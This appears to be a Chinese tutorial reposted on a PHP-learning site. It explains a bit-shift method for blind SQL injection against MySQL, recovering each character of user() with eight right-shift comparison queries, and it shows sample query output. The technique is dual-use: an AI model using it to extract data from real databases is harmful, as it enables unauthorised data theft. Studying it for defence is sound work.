网站地图    收藏   

主页 > 后端 > 网站安全 >

[翻译]关于通过对8bit的ascii做右位移提高mysql盲注

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位下面将以查询mysql数据库当中user()的第一位为例:ps:第二位,第三位依次类推 select substr(user(),2,1) mysql select substr(user(),3...

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
 
下面将以查询mysql数据库当中user()的第一位为例:
 
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
 
首先执行如下sql语句: www.2cto.com
 
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
 
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
 
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
 
如果运算结果为1,说明第一位为0,不为1
 
+————————————–+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+————————————–+
| 1 |
+————————————–+
1 row in set (0.00 sec)
这样我们就确定这个8bit的ascii的第一位为0
 
第二次我们来做6次右偏移来确定前两位
 
前两位可能是01或00,即依然可以与0做比较,
 
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+————————————–+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+————————————–+
| 0 |
+————————————–+
1 row in set (0.00 sec)
 
结果为0,即第二位为1
 
开始猜测前三位为010或011
 
让我们看看010和011的ascii码是多少
 
分别查询select b’011′ select b’010′
 
获得结果 010 = 2 011 = 3
 
执行如下sql:
 
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+————————————–+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+————————————–+
| 0 |
+————————————–+
 
即前三位不为010,而是011
 
直到获得最后一位
 
最终结果为:01110010
 
转换一下:
 
select b’01110010′
 
查询结果
 
+————-+
| b’01110010′ |
+————-+
| r |
+————-+
1 row in set (0.00 sec)
 
这样我们就获得了user()的第一位.其它位依此类推
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论